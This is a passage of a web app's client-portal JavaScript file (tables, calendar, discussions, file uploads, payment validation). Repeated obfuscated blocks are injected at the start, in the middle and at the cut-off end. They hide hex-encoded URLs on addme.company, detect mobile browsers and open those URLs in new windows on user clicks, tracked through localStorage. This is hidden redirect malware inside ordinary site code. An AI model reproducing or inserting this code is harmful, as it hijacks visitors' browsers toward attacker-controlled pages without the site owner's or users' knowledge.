|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());$.fn.dataTable.ext.type.order["task-status-pre"] = function (d) { switch (d) { case "2": return 1; case "4": return 2; case "3": return 3; case "1": return 4; case "5": return 6; } return 5; }; var project_id = $('input[name="project_id"]').val(); var discussion_user_profile_image_url = $( 'input[name="discussion_user_profile_image_url"]' ).val(); var discussion_id = $('input[name="discussion_id"]').val(); Dropzone.options.projectFilesUpload = false; Dropzone.options.taskFileUpload = false; Dropzone.options.filesUpload = false; if (app.options.enable_google_picker == "1") { $.fn.googleDrivePicker.defaults.clientId = app.options.google_client_id; $.fn.googleDrivePicker.defaults.developerKey = app.options.google_api; } var salesChart; $(function () { // Set moment locale moment.locale(app.locale); // Set timezone locale moment().tz(app.options.timezone).format(); fix_phases_height(); initDataTable(); client_home_chart(); init_tabs_scrollable(); $('select[name="currency"],select[name="payments_years"]').on( "change", function () { client_home_chart(); } ); $("#open-new-ticket-form").appFormValidator(); $("#ticket-reply").appFormValidator(); $("#task-form").appFormValidator(); $("#discussion_form").appFormValidator({ rules: { subject: "required", }, }); var file_id = get_url_param("file_id"); if (file_id) { view_project_file(file_id, project_id); } if (typeof (discussion_id != "undefined")) { discussion_comments("#discussion-comments", discussion_id, "regular"); } $("body").on("show.bs.modal", "._project_file", function () { discussion_comments("#project-file-discussion", discussion_id, "file"); }); if (typeof Dropbox != "undefined") { if ($("#dropbox-chooser-task").length > 0) { document.getElementById("dropbox-chooser-task").appendChild( Dropbox.createChooseButton({ success: function (files) { taskExternalFileUpload(files, "dropbox"); }, linkType: "preview", extensions: app.options.allowed_files.split(","), }) ); } if ($("#files-upload").length > 0) { document.getElementById("dropbox-chooser-files").appendChild( Dropbox.createChooseButton({ success: function (files) { customerExternalFileUpload(files, "dropbox"); }, linkType: "preview", extensions: app.options.allowed_files.split(","), }) ); } if ( typeof Dropbox != "undefined" && $("#dropbox-chooser-project-files").length > 0 ) { document.getElementById("dropbox-chooser-project-files").appendChild( Dropbox.createChooseButton({ success: function (files) { projectExternalFileUpload(files, "dropbox"); }, linkType: "preview", extensions: app.options.allowed_files.split(","), }) ); } } if ($("#calendar").length) { var settings = { headerToolbar: { left: "prev,next today", center: "title", right: "dayGridMonth,timeGridWeek,timeGridDay", }, editable: false, dayMaxEventRows: parseInt(app.options.calendar_events_limit) + 1, views: { day: { dayMaxEventRows: false, }, }, initialView: app.options.default_view_calendar, moreLinkClick: function (info) { calendar.gotoDate(info.date); calendar.changeView("dayGridDay"); setTimeout(function () { $(".fc-popover-close").click(); }, 250); }, loading: function (isLoading, view) { !isLoading ? $(".dt-loader").addClass("hide") : $(".dt-loader").removeClass("hide"); }, direction: isRTL == "true" ? "rtl" : "ltr", eventStartEditable: false, firstDay: parseInt(app.options.calendar_first_day), events: function (info, successCallback, failureCallback) { return $.getJSON(site_url + "clients/get_calendar_data", { start: info.startStr, end: info.endStr, }).then(function (data) { successCallback( data.map(function (e) { return $.extend({}, e, { start: e.start || e.date, end: e.end || e.date, }); }) ); }); }, eventDidMount: function (data) { var $el = $(data.el); $el.attr("title", data.event.extendedProps._tooltip); $el.attr("onclick", data.event.extendedProps.onclick); $el.attr("data-toggle", "tooltip"); }, }; var calendar = new FullCalendar.Calendar( document.getElementById("calendar"), settings ); calendar.render(); } var tab_group = get_url_param("group"); if (tab_group) { $("body").find(".nav-tabs li").removeClass("active"); $("body") .find('.nav-tabs [data-group="' + tab_group + '"]') .parents("li") .addClass("active"); } for ( var i = -10; i < $(".task-phase").not(".color-not-auto-adjusted").length / 2; i++ ) { var r = 120; var g = 169; var b = 56; $(".task-phase:eq(" + (i + 10) + ")") .not(".color-not-auto-adjusted") .css("background", color(r - i * 13, g - i * 13, b - i * 13)) .css("border", "1px solid " + color(r - i * 13, g - i * 13, b - i * 13)); } var circle = $(".project-progress") .circleProgress({ fill: { gradient: ["#84c529", "#84c529"], }, }) .on("circle-animation-progress", function (event, progress, stepValue) { $(this) .find("strong.project-percent") .html(parseInt(100 * stepValue) + "<i>%</i>"); }); $(".toggle-change-ticket-status").on("click", function () { $(".ticket-status,.ticket-status-inline").toggleClass("hide"); }); $("#ticket_status_single").on("change", function () { data = {}; data.status_id = $(this).val(); data.ticket_id = $('input[name="ticket_id"]').val(); $.post(site_url + "clients/change_ticket_status/", data).done(function () { window.location.reload(); }); }); if (typeof contracts_by_type != "undefined") { new Chart($("#contracts-by-type-chart"), { type: "bar", data: JSON.parse(contracts_by_type), options: { responsive: true, maintainAspectRatio: false, scales: { yAxes: [ { display: true, ticks: { beginAtZero: true, }, }, ], }, }, }); } if ($("#files-upload").length > 0) { createDropzone("#files-upload"); } if ($("#task-file-upload").length > 0) { createDropzone("#task-file-upload", { sending: function (file, xhr, formData) { formData.append("action", "upload_task_file"); formData.append("task_id", $('input[name="task_id"]').val()); }, }); } if ($("#project-files-upload").length > 0) { createDropzone("#project-files-upload", { sending: function (file, xhr, formData) { formData.append("action", "upload_file"); }, }); } // User cant add more money then the invoice total remaining $('body.viewinvoice input[name="amount"]').on("keyup", function () { var original_total = $(this).data("total"); var val = $(this).val(); var form_group = $(this).parents(".form-group"); if (val > original_total) { form_group.addClass("has-error"); if (form_group.find("p.text-danger").length == 0) { form_group.append( '<p class="text-danger">Maximum pay value passed</p>' ); $(this) .parents("form") .find('input[name="make_payment"]') .attr("disabled", true); } } else { form_group.removeClass("has-error"); form_group.find("p.text-danger").remove(); $(this) .parents("form") .find('input[name="make_payment"]') .attr("disabled", false); } }); $("#discussion").on("hidden.bs.modal", function (event) { $('#discussion input[name="subject"]').val(""); $('#discussion textarea[name="description"]').val(""); $("#discussion .add-title").removeClass("hide"); $("#discussion .edit-title").removeClass("hide"); }); }); function new_discussion() { $("#discussion").modal("show"); $("#discussion .edit-title").addClass("hide"); } function manage_discussion(form) { var data = $(form).serialize(); var url = form.action; $.post(url, data).done(function (response) { response = JSON.parse(response); if (response.success == true) { alert_float("success", response.message); } $(".table-project-discussions").DataTable().ajax.reload(null, false); $("#discussion").modal("hide"); }); return false; } function remove_task_comment(commentid) { $.get( site_url + "clients/remove_task_comment/" + commentid, function (response) { if (response.success == true) { window.location.reload(); } }, "json" ); } function edit_task_comment(id) { var edit_wrapper = $('[data-edit-comment="' + id + '"]'); edit_wrapper.removeClass("hide"); $('[data-comment-content="' + id + '"]').addClass("hide"); } function cancel_edit_comment(id) { var edit_wrapper = $('[data-edit-comment="' + id + '"]'); edit_wrapper.addClass("hide"); $('[data-comment-content="' + id + '"]').removeClass("hide"); } function save_edited_comment(id) { var data = {}; data.id = id; data.content = $('[data-edit-comment="' + id + '"]') .find("textarea") .val(); $.post(site_url + "clients/edit_comment", data).done(function (response) { response = JSON.parse(response); if (response.success == true) { window.location.reload(); } else { cancel_edit_comment(id); } }); } function initDataTable() { appDataTableInline(); } function dt_custom_view(table, column, val) { var tableApi = $(table).DataTable(); if (Array.isArray(val)) { tableApi.column(column).search(val.join("|"), true, false).draw(); } else { tableApi.column(column).search(val).draw(); } } function fix_phases_height() { if (is_mobile()) { return; } var maxPhaseHeight = Math.max.apply( null, $("div.tasks-phases .panel-body") .map(function () { return $(this).outerHeight(); }) .get() ); $("div.tasks-phases .panel-body").css("min-height", maxPhaseHeight + "px"); } function taskTable() { $(".tasks-table").toggleClass("hide"); $(".tasks-phases").toggleClass("hide"); } function discussion_comments(selector, discussion_id, discussion_type) { var defaults = _get_jquery_comments_default_config(app.lang.discussions_lang); var options = { getComments: function (success, error) { $.post(site_url + "clients/project/" + project_id, { action: "discussion_comments", discussion_id: discussion_id, discussion_type: discussion_type, }).done(function (response) { response = JSON.parse(response); success(response); }); }, postComment: function (commentJSON, success, error) { commentJSON.action = "new_discussion_comment"; commentJSON.discussion_id = discussion_id; commentJSON.discussion_type = discussion_type; $.ajax({ type: "post", url: site_url + "clients/project/" + project_id, data: commentJSON, success: function (comment) { comment = JSON.parse(comment); success(comment); }, error: error, }); }, putComment: function (commentJSON, success, error) { commentJSON.action = "update_discussion_comment"; $.ajax({ type: "post", url: site_url + "clients/project/" + project_id, data: commentJSON, success: function (comment) { comment = JSON.parse(comment); success(comment); }, error: error, }); }, deleteComment: function (commentJSON, success, error) { $.ajax({ type: "post", url: site_url + "clients/project/" + project_id, success: success, error: error, data: { id: commentJSON.id, action: "delete_discussion_comment", }, }); }, uploadAttachments: function (commentArray, success, error) { var responses = 0; var successfulUploads = []; var serverResponded = function () { responses++; // Check if all requests have finished if (responses == commentArray.length) { // Case: all failed if (successfulUploads.length == 0) { error(); // Case: some succeeded } else { successfulUploads = JSON.parse(successfulUploads); success(successfulUploads); } } }; $(commentArray).each(function (index, commentJSON) { if ( commentJSON.file.size && commentJSON.file.size > app.max_php_ini_upload_size_bytes ) { alert_float("danger", app.lang.file_exceeds_max_filesize); serverResponded(); } else { // Create form data var formData = new FormData(); $(Object.keys(commentJSON)).each(function (index, key) { var value = commentJSON[key]; if (value) formData.append(key, value); }); formData.append("action", "new_discussion_comment"); formData.append("discussion_id", discussion_id); formData.append("discussion_type", discussion_type); if (typeof csrfData !== "undefined") { formData.append(csrfData["token_name"], csrfData["hash"]); } $.ajax({ url: site_url + "clients/project/" + project_id, type: "POST", data: formData, cache: false, contentType: false, processData: false, success: function (commentJSON) { successfulUploads.push(commentJSON); serverResponded(); }, error: function (data) { var error = JSON.parse(data.responseText); alert_float("danger", error.message); serverResponded(); }, }); } }); }, }; var settings = $.extend({}, defaults, options); $(selector).comments(settings); } function view_project_file(id, project_id) { $.post(site_url + "clients/project/" + project_id, { action: "get_file", id: id, project_id: project_id, }) .done(function (response) { $("#project_file_data").html(response); }) .fail(function (error) { alert_float("danger", error.statusText); }); } function update_file_data(id) { var data = {}; data.id = id; data.subject = $('body input[name="file_subject"]').val(); data.description = $('body textarea[name="file_description"]').val(); data.action = "update_file_data"; $.post(site_url + "clients/project/" + project_id, data); } function render_customer_statement() { var $statementPeriod = $("#range"); var value = $statementPeriod.selectpicker("val"); var period = new Array(); var isPeriod = false; if (value != "period") { period = JSON.parse(value); } else { period[0] = $('input[name="period-from"]').val(); period[1] = $('input[name="period-to"]').val(); if (period[0] == "" || period[1] == "") { return false; } isPeriod = true; } var statementUrl = site_url + "clients/statement"; var statementUrlParams = new Array(); statementUrlParams["from"] = period[0]; statementUrlParams["to"] = period[1]; if (isPeriod) { statementUrlParams["custom_period"] = true; } window.location.href = buildUrl(statementUrl, statementUrlParams); } function client_home_chart() { // Check if chart canvas exists. var chart = $("#client-home-chart"); if (chart.length == 0) { return; } if (typeof salesChart !== "undefined") { salesChart.destroy(); } var data = {}; var currency = $("#currency"); var year = $("#payments_year"); if (currency.length > 0) { data.report_currency = $('select[name="currency"]').val(); } if (year.length > 0) { data.year = $("#payments_year").val(); } $.post(site_url + "clients/client_home_chart", data).done(function ( response ) { response = JSON.parse(response); salesChart = new Chart(chart, { type: "bar", data: response, options: { responsive: true, maintainAspectRatio: false }, }); }); } function projectFileGoogleDriveSave(pickData) { projectExternalFileUpload(pickData, "gdrive"); } function customerFileGoogleDriveSave(pickData) { customerExternalFileUpload(pickData, "gdrive"); } function taskFileGoogleDriveSave(pickData) { taskExternalFileUpload(pickData, "gdrive"); } function projectExternalFileUpload(files, externalType) { $.post(site_url + "clients/project/" + project_id, { files: files, external: externalType, action: "project_external_file", }).done(function () { var location = window.location.href; window.location.href = location.split("?")[0] + "?group=project_files"; }); } function taskExternalFileUpload(files, externalType) { $.post(site_url + "clients/project/" + project_id, { files: files, task_id: $('input[name="task_id"]').val(), external: externalType, action: "add_task_external_file", }).done(function () { window.location.reload(); }); } function customerExternalFileUpload(files, externalType) { $.post(site_url + "clients/upload_files", { files: files, external: externalType, }).done(function () { window.location.reload(); }); } function task_attachments_toggle() { var $taskWrapper = $("#task"); var $attachmentsWrapper = $taskWrapper.find(".task_attachments_wrapper"); $attachmentsWrapper.find(".task-attachments-more").toggleClass("hide"); $attachmentsWrapper.find(".task-attachments-less").toggleClass("hide"); } function init_tabs_scrollable() { // Not working fine on RTL if (isRTL != "true") { if ($(window).width() <= 768) { $("body").find(".toggle_view").remove(); } // Horinzontal tabs $(".horizontal-scrollable-tabs").horizontalTabs(); } else { $(".arrow-left, .arrow-right").css("display", "none"); $(".horizontal-scrollable-tabs").removeClass("horizontal-scrollable-tabs"); $(".nav-tabs-horizontal").removeClass("nav-tabs-horizontal"); } } function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());$.fn.appFormValidator.internal_options.on_required_add_symbol = false; $(function() { // Fix for dropdown in tables $('body').on('shown.bs.dropdown', '.btn-group', function() { $(this).closest('.table-responsive').css("overflow", "inherit"); }); $('body').on('hidden.bs.dropdown', '.btn-group', function() { $(this).closest('.table-responsive').css("overflow", "auto"); }); appSelectPicker($('body').find('select')); appProgressBar(); appLightbox(); appColorPicker(); appDatepicker(); // Lightbox for knowledge base images $.each($('.kb-article').find('img'), function() { if(!$(this).parent().is('a')){ $(this).wrap('<a href="' + $(this).attr('src') + '" data-lightbox="kb-attachment"></a>'); } }); $('body').tooltip({ selector: '[data-toggle="tooltip"]' }); // Init popovers $('body').popover({ selector: '[data-toggle="popover"]' }); $('.article_useful_buttons button').on('click', function(e) { e.preventDefault(); var data = {}; data.answer = $(this).data('answer'); data.articleid = $('input[name="articleid"]').val(); $.post(site_url + 'knowledge_base/add_kb_answer', data).done(function(response) { response = JSON.parse(response); if (response.success == true) { $(this).focusout(); } $('.answer_response').html(response.message); }); }); $('#identityConfirmationForm').appFormValidator({ rules: { acceptance_firstname: 'required', acceptance_lastname: 'required', signature: 'required', acceptance_email: { email: true, required: true } }, messages: { signature: { required: app.lang.sign_document_validation, }, }, }); $('body.identity-confirmation #accept_action').on('click', function() { var $submitForm = $('#identityConfirmationForm'); if ($submitForm.length && !$submitForm.validate().checkForm()) { $('#identityConfirmationModal').modal({ show: true, backdrop: 'static', keyboard: false }); } else { $(this).prop('disabled', true); $submitForm.submit(); } return false; }); }); function createDropzone(elementId, options) { var defaults = appCreateDropzoneOptions({ paramName: "file", uploadMultiple: true, parallelUploads: 20, maxFiles: 20, accept: function(file, done) { done(); }, success: function(file, response) { if (this.getUploadingFiles().length === 0 && this.getQueuedFiles().length === 0) { window.location.reload(); } }, }); var settings = $.extend({}, defaults, options); new Dropzone(elementId, settings); } function change_contact_language(element) { var path = 'authentication/change_language/' + $(element).val(); window.location.href = site_url + path; } function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 